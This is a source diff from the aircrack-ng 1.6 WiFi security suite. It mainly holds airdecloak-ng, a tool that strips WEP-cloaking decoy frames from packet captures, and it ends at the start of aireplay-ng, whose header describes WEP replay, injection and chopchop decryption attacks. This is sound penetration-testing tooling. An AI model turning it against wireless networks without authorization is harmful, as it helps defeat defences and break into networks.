+	average_signal = get_average_signal_ap();
+
+	if (average_signal > 0)
+	{
+
+		reset_current_packet_pointer_to_ap_packet(); // Will be successful
+		// because signal > 0
+
+		do
+		{
+			switch (_packet_elt_head->current->is_cloaked)
+			{
+				case POTENTIALLY_CLOAKED_FRAME:
+					// Max allowed variation for potentially cloaked packet is a
+					// bit lower
+					// than the normal variation
+					if (abs(_packet_elt_head->current->signal_quality
+							- average_signal)
+						> MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED)
+					{
+						_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
+						++nb_packets;
+						break;
+					} //-V796
+#if __GNUC__ >= 7
+					__attribute__((fallthrough));
+#endif
+				case UKNOWN_FRAME_CLOAKING_STATUS:
+					// If variation is > max allowed variation, it's a cloaked
+					// packet
+					if (abs(_packet_elt_head->current->signal_quality
+							- average_signal)
+						> MAX_SIGNAL_VARIATION)
+					{
+						_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
+						++nb_packets;
+						break;
+					}
+					// If the signal quality is the same as the average signal,
+					// we're sure it's not a cloaked packet.
+					// Regarding any other signal difference compared to the
+					// average signal
+					// We could play with POTENTIALLY_CLOAKED frame depending on
+					// the variation
+					// but currently, it's unloacked if inferior to the max
+					// allowed signal
+					_packet_elt_head->current->is_cloaked
+						= VALID_FRAME_UNCLOAKED;
+					break;
+				case VALID_FRAME_UNCLOAKED:
+					break;
+				case CLOAKED_FRAME:
+					break;
+				default:
+					break;
+			}
+		} while (next_packet_pointer_same_fromToDS_and_source_as_current()
+				 == true);
+	}
+
+	// TODO: Do it also for clients: Calculate the average for know cloaked
+	// frames
+	//       (each frame marked cloaked here) and then filter out wep cloaked
+	//       frames.
+	//        or implement it as another filter (since clients may have the same
+	//        signal
+	//        as the sensor).
+
+	// Return
+	return nb_packets;
+}
+
+static int CFC_filter_consecutive_sn(void)
+{
+	int nb_packets = 0;
+	puts("Cloaking - Consecutive SN filtering");
+
+	nb_packets
+		= CFC_filter_consecutive_sn_ap() + CFC_filter_consecutive_sn_client();
+
+	return nb_packets;
+}
+
+static int CFC_filter_consecutive_sn_ap(void)
+{
+	int nb_packets = 0;
+	BOOLEAN next_packet_result = false;
+	puts("Cloaking - Consecutive SN filtering (AP)");
+
+	// Filtering for the client is not easy at all, maybe we can base on the
+	// fact that wep cloaking clone everything in the packet
+	// except the data (and ofc the SN).
+
+	// So, atm filtering for the AP only (hoping the client is not uploading
+	// data ;))
+
+	reset_current_packet_pointer_to_ap_packet();
+
+	// Go to the first beacon or probe response.
+	while (
+		!(_packet_elt_head->current->version_type_subtype == BEACON_FRAME
+		  || _packet_elt_head->current->version_type_subtype == PROBE_RESPONSE))
+	{
+
+		next_packet_result
+			= next_packet_pointer_same_fromToDS_and_source_as_current();
+		// Check if we didn't reach end of capture.
+		if (next_packet_result == false)
+		{
+			break;
+		}
+	}
+
+	// If end of capture, no packets have been filters.
+	if (next_packet_result == false)
+	{
+		return 0;
+	}
+
+	puts("NYI");
+
+	return nb_packets;
+}
+
+static int CFC_filter_consecutive_sn_client(void)
+{
+	int nb_packets = 0;
+
+	puts("Cloaking - Consecutive SN filtering (Client)");
+
+	// For consecutive SN of the client, if packets are cloaked, we can rely on
+	// null frames or probe request/association request.
+
+	reset_current_packet_pointer_to_client_packet();
+
+	// while
+
+	puts("Not yet implemented");
+
+	return nb_packets;
+}
+
+static int CFC_filter_duplicate_iv(void)
+{
+	unsigned char * ivs_table;
+	int nb_packets = 0;
+	puts("Cloaking - Duplicate IV filtering");
+
+	ivs_table = (unsigned char *) calloc(16777215, 1);
+	ALLEGE(ivs_table != NULL);
+
+	// 1. Get the list of all IV values (and number of duplicates
+	reset_current_packet_pointer();
+	do
+	{
+		if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
+		{
+			// In the array, there's as much elements as the number of possible
+			// IVs
+			// For each IV, increase by 1 the value of the IV position so that
+			// we can
+			// know if it was used AND the number of occurrences.
+			*(ivs_table + get_iv(_packet_elt_head->current)) += 1;
+		}
+	} while (next_packet_pointer() == true);
+
+	// 2. Remove duplicates
+	reset_current_packet_pointer();
+	do
+	{
+		if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
+		{
+
+			switch (_packet_elt_head->current->is_cloaked)
+			{
+				case POTENTIALLY_CLOAKED_FRAME:
+					// If the frame is potentially cloaked, mark it as cloaked
+					if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1)
+					{
+						_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
+						++nb_packets;
+					} //-V796
+#if __GNUC__ >= 7
+					__attribute__((fallthrough));
+#endif
+				case UKNOWN_FRAME_CLOAKING_STATUS:
+					// If unknown status, mark it as potentially cloaked
+					if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1)
+					{
+						_packet_elt_head->current->is_cloaked
+							= POTENTIALLY_CLOAKED_FRAME;
+					}
+					break;
+				case VALID_FRAME_UNCLOAKED:
+					break;
+				case CLOAKED_FRAME:
+					break;
+				default:
+					break;
+			}
+		}
+	} while (next_packet_pointer() == true);
+
+	free(ivs_table);
+
+	return nb_packets;
+}
+
+static char * status_format(int status)
+{
+	size_t len = 19;
+	char * ret = (char *) calloc(1, (len + 1) * sizeof(char));
+	ALLEGE(ret != NULL);
+	char * rret;
+
+	switch (status)
+	{
+		case VALID_FRAME_UNCLOAKED:
+			strncpy(ret, "uncloacked", len + 1);
+			break;
+		case CLOAKED_FRAME:
+			strncpy(ret, "cloaked", len + 1);
+			break;
+		case POTENTIALLY_CLOAKED_FRAME:
+			strncpy(ret, "potentially cloaked", len + 1);
+			break;
+		case UKNOWN_FRAME_CLOAKING_STATUS:
+			strncpy(ret, "unknown cloaking", len + 1);
+			break;
+		default:
+			snprintf(ret, len + 1, "type %d", status);
+			break;
+	}
+
+	rret = (char *) realloc(ret, strlen(ret) + 1);
+	return (rret) ? rret : ret;
+}
+
+static int CFC_mark_all_frames_with_status_to(int original_status,
+											  int new_status)
+{
+	int nb_marked = 0;
+	char *from, *to;
+	from = status_format(original_status);
+	to = status_format(new_status);
+
+	printf("Cloaking - Marking all %s status frames as %s\n", from, to);
+	free(from);
+	free(to);
+
+	reset_current_packet_pointer();
+
+	do
+	{
+		if (_packet_elt_head->current->is_cloaked == original_status)
+		{
+			_packet_elt_head->current->is_cloaked = new_status;
+			++nb_marked;
+		}
+	} while (next_packet_pointer() == 1);
+
+	printf("%d frames marked\n", nb_marked);
+
+	return nb_marked;
+}
+
+static int CFC_filter_signal_duplicate_and_consecutive_sn(void)
+{
+	int nb_marked = 0;
+	// This filter does not call all other filters but does a lot of checks
+	// and depending on these check decide if a packet is cloaked or not
+	puts("Cloaking - Filtering all packet with signal, duplicate and "
+		 "consecutive SN filters");
+
+	puts("Not yet implemented");
+
+	return nb_marked;
+}
+
+// When checking do it on packet with the same direction (ToFroDS: 10 or 01)
+// WDS/Ad hoc not implemented yet
+/**
+ * Check for cloaking and mark the status all packets (Cloaked or uncloaked).
+ */
+static BOOLEAN check_for_cloaking(void)
+{
+	int cur_filter;
+	int cur_filters = _filters;
+
+	puts("Cloaking - Start check");
+
+	// Parse all packets, then for each packet marked valid (or cloaked), check
+	// forward if any packet has
+	// an unknown status and same SN. If it's the case, mark the current packet
+	// CLOAKED
+	if (_options_disable_base_filter == 0)
+	{
+		// CFC_with_valid_packets_mark_others_with_identical_sn_cloaked();
+		CFC_base_filter();
+	}
+
+	// Apply all filter requested by the user in the requested order
+	// but do not forget to warn when there's no filter given.
+	while (cur_filters != 0)
+	{
+		cur_filter = cur_filters % 10;
+		cur_filters /= 10;
+
+		switch (cur_filter)
+		{
+			case FILTER_SIGNAL:
+				CFC_filter_signal();
+				break;
+			case FILTER_DUPLICATE_SN:
+				CFC_filter_duplicate_sn();
+				break;
+			case FILTER_DUPLICATE_SN_AP:
+				CFC_filter_duplicate_sn_ap();
+				break;
+			case FILTER_DUPLICATE_SN_CLIENT:
+				CFC_filter_duplicate_sn_client();
+				break;
+			case FILTER_CONSECUTIVE_SN:
+				CFC_filter_consecutive_sn();
+				break;
+			case FILTER_DUPLICATE_IV:
+				CFC_filter_duplicate_iv();
+				break;
+			case FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN:
+				CFC_filter_signal_duplicate_and_consecutive_sn();
+				break;
+			case 0:
+				puts("0 is not a valid filter number");
+				exit(1);
+			default:
+				printf("Filter %d not yet implemented\n", cur_filter);
+				exit(1);
+		}
+	}
+
+	// Marking of all unknown status packets uncloaked (MUST BE AT THE END)
+	CFC_mark_all_frames_with_status_to(UKNOWN_FRAME_CLOAKING_STATUS,
+									   VALID_FRAME_UNCLOAKED);
+	// ... and the potentially cloaked cloaked
+	CFC_mark_all_frames_with_status_to(POTENTIALLY_CLOAKED_FRAME,
+									   CLOAKED_FRAME);
+
+	return true;
+}
+
+// Return 1 on success
+static BOOLEAN write_packets(void)
+{
+	// Open files ...
+	FILE * invalid_status_file;
+
+	if (_filename_output_invalid != NULL)
+		invalid_status_file = init_new_pcap(_filename_output_invalid);
+	else
+		invalid_status_file = init_new_pcap("invalid_status.pcap");
+
+	_output_cloaked_packets_file = init_new_pcap(_filename_output_cloaked);
+	_output_clean_capture_file = init_new_pcap(_filename_output_filtered);
+
+	// ... and make sure opening was ok ...
+	if (_output_clean_capture_file == NULL)
+	{
+		printf("FATAL ERROR: Failed to open pcap for filtered packets\n");
+		if (_output_cloaked_packets_file != NULL)
+		{
+			fclose(_output_cloaked_packets_file);
+		}
+		if (invalid_status_file)
+		{
+			fclose(invalid_status_file);
+			invalid_status_file = NULL;
+		}
+		return false;
+	}
+
+	// ... for both.
+	if (_output_cloaked_packets_file == NULL)
+	{
+		printf("FATAL ERROR: Failed to open pcap for cloaked packets\n");
+		fclose(_output_clean_capture_file);
+		if (invalid_status_file)
+		{
+			fclose(invalid_status_file);
+			invalid_status_file = NULL;
+		}
+		return false;
+	}
+
+	puts("Writing packets to files");
+
+	reset_current_packet_pointer();
+	do
+	{
+		switch (_packet_elt_head->current->is_cloaked)
+		{
+			case CLOAKED_FRAME:
+				write_packet(_output_cloaked_packets_file,
+							 _packet_elt_head->current);
+				break;
+			case VALID_FRAME_UNCLOAKED:
+				if (_packet_elt_head->current->is_dropped == 0)
+				{
+					write_packet(_output_clean_capture_file,
+								 _packet_elt_head->current);
+				}
+				break;
+			default:
+				// Write them somewhere else
+				write_packet(invalid_status_file, _packet_elt_head->current);
+				printf("Error: Invalid packet cloaking status: %d\n",
+					   _packet_elt_head->current->is_cloaked);
+				break;
+		}
+	} while (next_packet_pointer() == true);
+
+	puts("End writing packets to files");
+	// Close files
+	fclose(_output_cloaked_packets_file);
+	fclose(_output_clean_capture_file);
+	if (invalid_status_file) fclose(invalid_status_file);
+	return true;
+}
+
+// Return 1 on success
+static BOOLEAN print_statistics(void) { return true; }
+
+static void usage(void)
+{
+	char * version_info = getVersion(
+		"Airdecloak-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	printf(
+		"\n"
+		"  %s - (C) 2008-2020 Thomas d\'Otreppe\n"
+		"  https://www.aircrack-ng.org\n"
+		"\n"
+		"  usage: airdecloak-ng [options]\n"
+		"\n"
+		"  options:\n"
+		"\n"
+		"   Mandatory:\n"
+		"     -i <file>             : Input capture file\n"
+		"     --ssid <ESSID>        : ESSID of the network to filter\n"
+		"        or\n"
+		"     --bssid <BSSID>       : BSSID of the network to filter\n"
+		"\n"
+		"   Optional:\n"
+		"     -o <file>             : Output packets (valid) file (default: "
+		"<src>-filtered.pcap)\n"
+		"     -c <file>             : Output packets (cloaked) file (default: "
+		"<src>-cloaked.pcap)\n"
+		"     -u <file>             : Output packets (unknown/ignored) file "
+		"(default: invalid_status.pcap)\n"
+		"     --filters <filters>   : Apply filters (separated by a comma). "
+		"Filters:\n"
+		"           signal:               Try to filter based on signal.\n"
+		"           duplicate_sn:         Remove all duplicate sequence "
+		"numbers\n"
+		"                                 for both the AP and the client.\n"
+		"           duplicate_sn_ap:      Remove duplicate sequence number "
+		"for\n"
+		"                                 the AP only.\n"
+		"           duplicate_sn_client:  Remove duplicate sequence number for "
+		"the\n"
+		"                                 client only.\n"
+		"           consecutive_sn:       Filter based on the fact that IV "
+		"should\n"
+		"                                 be consecutive (only for AP).\n"
+		"           duplicate_iv:         Remove all duplicate IV.\n"
+		"           signal_dup_consec_sn: Use signal (if available), duplicate "
+		"and\n"
+		"                                 consecutive sequence number "
+		"(filtering is\n"
+		"                                  much more precise than using all "
+		"these\n"
+		"                                  filters one by one).\n"
+		"     --null-packets        : Assume that null packets can be "
+		"cloaked.\n"
+		"     --disable-base_filter : Do not apply base filter.\n"
+		//"     --disable-retry       : Disable retry check, don't care about
+		// retry bit.\n"
+		"     --drop-frag           : Drop fragmented packets\n"
+		"\n"
+		"     --help                : Displays this usage screen\n"
+		"\n",
+		version_info);
+	free(version_info);
+}
+
+int main(int argc, char * argv[])
+{
+	int temp = 0, option;
+	int manual_cloaked_fname = 0, manual_filtered_fname = 0;
+	BOOLEAN tempBool;
+	char * input_filename;
+	char * input_bssid;
+	char * filter_name;
+
+	// Initialize
+	input_bssid = NULL;
+	input_filename = NULL;
+	_is_wep = -1;
+	_output_cloaked_packets_file = NULL;
+	_output_clean_capture_file = NULL;
+	_input_file = NULL;
+	memset(_bssid, 0, 6);
+	_filters = 0;
+
+	_filename_output_invalid = NULL;
+
+	// Parse options
+	while (1)
+	{
+
+		int option_index = 0;
+
+		static const struct option long_options[]
+			= {{"essid", 1, 0, 'e'},
+			   {"ssid", 1, 0, 'e'},
+			   {"bssid", 1, 0, 'b'},
+			   {"help", 0, 0, 'h'},
+			   {"filter", 1, 0, 'f'},
+			   {"filters", 1, 0, 'f'},
+			   {"null-packets", 0, 0, 'n'},
+			   {"null-packet", 0, 0, 'n'},
+			   {"null_packets", 0, 0, 'n'},
+			   {"null_packet", 0, 0, 'n'},
+			   {"no-base-filter", 0, 0, 'a'},
+			   {"disable-base-filter", 0, 0, 'a'},
+			   //{"disable-retry",		0, 0, 'r'},
+			   {"drop-frag", 0, 0, 'd'},
+			   {"input", 1, 0, 'i'},
+			   {"cloaked", 1, 0, 'c'},
+			   {"filtered", 1, 0, 'f'},
+			   {0, 0, 0, 0}};
+
+		// option = getopt_long( argc, argv, "e:b:hf:nbrdi:",
+		option = getopt_long(
+			argc, argv, "e:b:hf:nbdi:c:o:u:", long_options, &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case ':':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+
+			case '?':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+			case 'a':
+				_options_disable_base_filter = 1;
+				break;
+			case 'i':
+				input_filename = optarg;
+				break;
+			case 'c':
+				if (optarg != NULL)
+				{
+					_filename_output_cloaked = optarg;
+					manual_cloaked_fname = 1;
+				}
+				break;
+			case 'o':
+				if (optarg != NULL)
+				{
+					_filename_output_filtered = optarg;
+					manual_filtered_fname = 1;
+				}
+				break;
+			case 'u':
+				if (optarg != NULL) _filename_output_invalid = optarg;
+				break;
+			case 'b':
+				if (getmac(optarg, 1, _bssid))
+				{
+					puts("Failed to parse MAC address");
+					exit(EXIT_FAILURE);
+				}
+
+				input_bssid = optarg;
+				// make sure it was converted successfully
+				break;
+			case 'f':
+				// Filters
+				filter_name = strtok(optarg, ",");
+				temp = 1;
+				while (filter_name != NULL)
+				{
+					if (strcmp(filter_name, "signal") == 0
+						|| atoi(filter_name) == FILTER_SIGNAL)
+					{
+						_filters = _filters + (FILTER_SIGNAL * temp);
+					}
+					else if (strcmp(filter_name, "duplicate_sn") == 0
+							 || atoi(filter_name) == FILTER_DUPLICATE_SN)
+					{
+						_filters = _filters + (FILTER_DUPLICATE_SN * temp);
+					}
+					else if (strcmp(filter_name, "duplicate_sn_ap") == 0
+							 || atoi(filter_name) == FILTER_DUPLICATE_SN_AP)
+					{
+						_filters = _filters + (FILTER_DUPLICATE_SN_AP * temp);
+					}
+					else if (strcmp(filter_name, "duplicate_sn_client") == 0
+							 || atoi(filter_name) == FILTER_DUPLICATE_SN_CLIENT)
+					{
+						_filters
+							= _filters + (FILTER_DUPLICATE_SN_CLIENT * temp);
+					}
+					else if (strcmp(filter_name, "consecutive_sn") == 0
+							 || atoi(filter_name) == FILTER_CONSECUTIVE_SN)
+					{
+						_filters = _filters + (FILTER_CONSECUTIVE_SN * temp);
+					}
+					else if (strcmp(filter_name, "duplicate_iv") == 0
+							 || atoi(filter_name) == FILTER_DUPLICATE_IV)
+					{
+						_filters = _filters + (FILTER_DUPLICATE_IV * temp);
+					}
+					else if (
+						strcmp(filter_name, "signal_dup_consec_sn") == 0
+						|| atoi(filter_name)
+							   == FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN)
+					{
+						_filters = _filters
+								   + (FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN
+									  * temp);
+					}
+					else
+					{
+						usage();
+						puts("Invalid filter name");
+						exit(EXIT_FAILURE);
+					}
+					temp *= 10;
+					filter_name = strtok(NULL, ",");
+				}
+				break;
+			case 'd':
+				_options_drop_fragments = 1;
+				break;
+			case 'n':
+				_options_assume_null_packets_uncloaked = 1;
+				break;
+			case 'r':
+				_options_disable_retry = 1;
+				printf("'%c' option not yet implemented\n", option);
+				exit(EXIT_SUCCESS);
+				break;
+			case 'e':
+				printf("'%c' option not yet implemented\n", option);
+				exit(EXIT_SUCCESS);
+				break;
+			case 'h':
+				usage();
+				exit(EXIT_SUCCESS);
+				break;
+		}
+	}
+
+	if (input_filename == NULL)
+	{
+		usage();
+		puts("Missing input file");
+		exit(EXIT_FAILURE);
+	}
+
+	// Add options (some are mandatory, some are optional).
+	/*
+		Mandatory:
+			-i file: input file
+			--ssid ESSID (or --essid or --ssid) or -b BSSID (or --bssid or --ap)
+
+		Optional:
+			-o <file>             : Output packets (valid) file (default:
+	   <src>-filtered.pcap)
+			-c <file>             : Output packets (cloaked) file (default:
+	   <src>-cloaked.pcap)
+			-u <file>             : Output packets (unknown/ignored) file
+	   (default: invalid_status.pcap)
+			-f (--filters/--filter)
+				Available filters:
+					* signal: Tries to filter based on the signal (AP never/is
+	   not supposed to moves thus ...)
+					* duplicate_sn: remove all duplicate SN
+					* duplicate_sn_ap/duplicate_sn_client: remove all duplicate
+	   SN from the AP/Client
+					* consecutive_sn: filter based on the fact that IV should be
+	   consecutive (only for AP).
+				Several filters can be used and you can choose the order of
+	   application of these filters
+					(that will impact the results).
+			--null-packets: Do not assume that null packets are not cloaked.
+			--no-base_filter: do not apply base filter.
+			--disable-retry: disable retry check, don't care about retry bit.
+			--drop-frag: Drop fragmented packets
+	*/
+
+	printf("Input file: %s\n", input_filename);
+	printf("BSSID: %s\n", input_bssid);
+	puts("");
+
+	// Open capture file
+	puts("Opening file");
+	_input_file = open_existing_pcap(input_filename);
+
+	if (_input_file == NULL)
+	{
+		return (EXIT_FAILURE);
+	}
+
+	// Create output filenames
+	if (manual_cloaked_fname == 0 || manual_filtered_fname == 0)
+	{
+		temp = strlen(input_filename);
+		if (!manual_cloaked_fname)
+		{
+			_filename_output_cloaked = (char *) calloc(temp + 9 + 5, 1);
+			ALLEGE(_filename_output_cloaked != NULL);
+		}
+
+		if (!manual_filtered_fname)
+		{
+			_filename_output_filtered = (char *) calloc(temp + 10 + 5, 1);
+			ALLEGE(_filename_output_filtered != NULL);
+		}
+
+		while (--temp > 0)
+		{
+			if (input_filename[temp] == '.') break;
+		}
+
+		// No extension
+		if (temp == 0)
+		{
+			if (!manual_cloaked_fname)
+				snprintf(_filename_output_cloaked,
+						 strlen(input_filename) + 9 + 5,
+						 "%s-cloaked.pcap",
+						 input_filename);
+			if (!manual_filtered_fname)
+				snprintf(_filename_output_filtered,
+						 strlen(input_filename) + 10 + 5,
+						 "%s-filtered.pcap",
+						 input_filename);
+		}
+		else
+		{
+			if (!manual_cloaked_fname)
+			{
+				strncpy(_filename_output_cloaked,
+						input_filename,
+						strlen(input_filename) + 9 + 5 - 1);
+				strncat(_filename_output_cloaked, "-cloaked.pcap", 14);
+			}
+			if (!manual_filtered_fname)
+			{
+				strncpy(_filename_output_filtered,
+						input_filename,
+						strlen(input_filename) + 10 + 5 - 1);
+				strncat(_filename_output_filtered, "-filtered.pcap", 15);
+			}
+		}
+	}
+
+	printf("Output packets (valid) filename: %s\n", _filename_output_filtered);
+	printf("Output packets (cloaked) filename: %s\n", _filename_output_cloaked);
+
+	// 1. Read all packets and put the following in a linked list:
+	//    Data and management packets only (filter out control packets)
+	//    Packets where BSSID is the address given in parameter
+	//    When we find a beacon, make sure the network is WEP
+
+	puts("Reading packets from file");
+	tempBool = read_packets();
+	fclose(_input_file);
+
+	if (tempBool != true)
+	{
+		printf("Failed reading packets: %d\n", temp);
+		return (EXIT_FAILURE);
+	}
+
+	// 2. Go through the list and mark all cloaked packets
+	puts("Checking for cloaked frames");
+	tempBool = check_for_cloaking();
+	if (tempBool != true)
+	{
+		printf("Checking for cloaking failed: %d\n", temp);
+		return (EXIT_FAILURE);
+	}
+
+	// 3. Write all data to output files
+
+	// Write packets
+	puts("Writing packets to files");
+	tempBool = write_packets();
+	if (tempBool != true)
+	{
+		printf("Writing packets failed: %d\n", temp);
+		return (EXIT_FAILURE);
+	}
+
+	// 4. Print some statistics
+	// - Is the network using WEP?
+	// - WEP cloaking in action?
+	// - Clients MACs
+	// - Number of data packets for the BSSID
+	//   Number of good packets kept
+	//   Number of cloaked packets removed
+	// - File names
+	print_statistics();
+
+	return (EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/src/airdecloak-ng/airdecloak-ng.h Added

@@ -0,0 +1,187 @@
+/*
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef _AIRUNDEFENSE_H_
+#define _AIRUNDEFENSE_H_
+
+#include <stdbool.h>
+
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/support/common.h"
+
+typedef bool BOOLEAN;
+
+// How far should we check for cloaked packets (backward and forward)
+#define PACKET_CHECKING_LENGTH 10
+
+#define DIRECTION_BACKWARD 0
+#define DIRECTION_FORWARD 1
+
+#define UKNOWN_FRAME_CLOAKING_STATUS -1
+#define VALID_FRAME_UNCLOAKED 0
+#define CLOAKED_FRAME 2
+#define POTENTIALLY_CLOAKED_FRAME 1
+#define DROPPED_FRAME 3
+
+// Weird frames are rejected before being checked atm
+#define WEIRD_FRAME_TYPE 100
+
+#define FRAME_TYPE_MANAGEMENT 0
+#define FRAME_TYPE_CONTROL 1
+#define FRAME_TYPE_DATA 2
+
+#define BEACON_FRAME 0x80
+#define PROBE_RESPONSE 0x50
+#define AUTHENTICATION 0xB0
+#define ASSOCIATION_REQUEST 0x00
+#define ASSOCIATION_RESPONSE 0x10
+#define NULL_FRAME 0x48
+
+#define FILTER_SIGNAL 1
+#define FILTER_DUPLICATE_SN 2
+#define FILTER_DUPLICATE_SN_AP 3
+#define FILTER_DUPLICATE_SN_CLIENT 4
+#define FILTER_CONSECUTIVE_SN 5
+#define FILTER_DUPLICATE_IV 6
+#define FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN 7
+
+#define getBit(pckt, startbit) getBits(pckt, startbit, 1)
+#define get_iv(packet)                                                         \
+	((packet)->iv[0] + ((packet)->iv[1] * 256) + ((packet)->iv[2] * 256 * 256))
+
+const int PACKET_HEADER_SIZE = sizeof(struct pcap_pkthdr);
+
+struct packet_elt_header
+{
+	struct packet_elt * first;
+	struct packet_elt * current;
+	struct packet_elt * last;
+	int nb_packets;
+	int average_signal; // Calculate the average signal (for later)
+	// Currently do it on management frames (or control frames); may change in
+	// the future.
+} * _packet_elt_head;
+
+struct packet_elt
+{
+	struct pcap_pkthdr header; /* packet header */
+	unsigned char * packet; /* packet */
+	unsigned short
+		length; /* packet length, just to know how much to write to the file */
+
+	// A few interesting stuff coming from the packets
+	int fromDS;
+	int toDS;
+
+	int frame_type; /* MGMT, CTRL, DATA */
+	int frame_subtype; // Not yet filled but will do
+	unsigned char version_type_subtype; // First byte
+
+	unsigned char source[6];
+	unsigned char destination[6];
+	unsigned char bssid[6];
+
+	int sequence_number;
+	int fragment_number;
+	unsigned char iv[3];
+	unsigned char key_index;
+	unsigned char icv[4];
+	int signal_quality;
+	int retry_bit;
+	int more_fragments_bit;
+
+	int is_cloaked;
+	int is_dropped; // Do we have to drop this frame?
+
+	int complete; // 0: no, 1: yes
+
+	struct packet_elt * next;
+	struct packet_elt * prev;
+};
+
+// Not already used (partially maybe)
+struct decloak_stats
+{
+	unsigned long nb_read; /* # of packets read       */
+	unsigned long nb_wep; /* # of WEP data packets   */
+	unsigned long nb_bad; /* # of bad data packets   */
+	unsigned long nb_wpa; /* # of WPA data packets   */
+	unsigned long nb_plain; /* # of plaintext packets  */
+	unsigned long nb_filt_wep; /* # of filtered WEP pkt  */
+	unsigned long nb_cloak_wep; /* # of cloaked WEP pkt  */
+};
+
+static void usage(void);
+static int getBits(unsigned char b, int from, int length);
+static FILE * openfile(const char * filename, const char * mode, int fatal);
+static BOOLEAN write_packet(FILE * file, struct packet_elt * packet);
+static FILE * init_new_pcap(const char * filename);
+static FILE * open_existing_pcap(const char * filename);
+static BOOLEAN read_packets(void);
+static BOOLEAN initialize_linked_list(void);
+static BOOLEAN add_node_if_not_complete(void);
+static void set_node_complete(void);
+static void remove_last_uncomplete_node(void);
+static void reset_current_packet_pointer(void);
+static BOOLEAN reset_current_packet_pointer_to_ap_packet(void);
+static BOOLEAN reset_current_packet_pointer_to_client_packet(void);
+static BOOLEAN next_packet_pointer(void);
+static BOOLEAN next_packet_pointer_from_ap(void);
+static BOOLEAN next_packet_pointer_from_client(void);
+static int compare_SN_to_current_packet(struct packet_elt * packet);
+static BOOLEAN
+current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet);
+static BOOLEAN
+next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet);
+static BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current(void);
+static BOOLEAN write_packets(void);
+static BOOLEAN print_statistics(void);
+static char * status_format(int status);
+static int get_average_signal_ap(void);
+
+// Check for cloaking functions
+static BOOLEAN check_for_cloaking(void); // Main cloaking check function
+#define CFC_base_filter()                                                      \
+	CFC_with_valid_packets_mark_others_with_identical_sn_cloaked()
+static int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked(void);
+static int CFC_mark_all_frames_with_status_to(int original_status,
+											  int new_status);
+static int CFC_filter_signal(void);
+static int CFC_filter_duplicate_sn_ap(void);
+static int CFC_filter_duplicate_sn_client(void);
+static int CFC_filter_duplicate_sn(void);
+static int CFC_filter_consecutive_sn(void);
+static int CFC_filter_consecutive_sn_ap(void);
+static int CFC_filter_consecutive_sn_client(void);
+static int CFC_filter_duplicate_iv(void);
+static int CFC_filter_signal_duplicate_and_consecutive_sn(void);
+
+#endif

aircrack-ng-1.6.tar.gz/src/aireplay-ng Added

aircrack-ng-1.6.tar.gz/src/aireplay-ng/aireplay-ng.c Added

@@ -0,0 +1,6787 @@
+/*
+ *  802.11 WEP replay & injection attacks
+ *
+ *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2004, 2005 Christophe Devine
+ *
+ *  WEP decryption attack (chopchop) developed by KoreK
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#if defined(linux)
+#include <linux/rtc.h>
+#endif
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
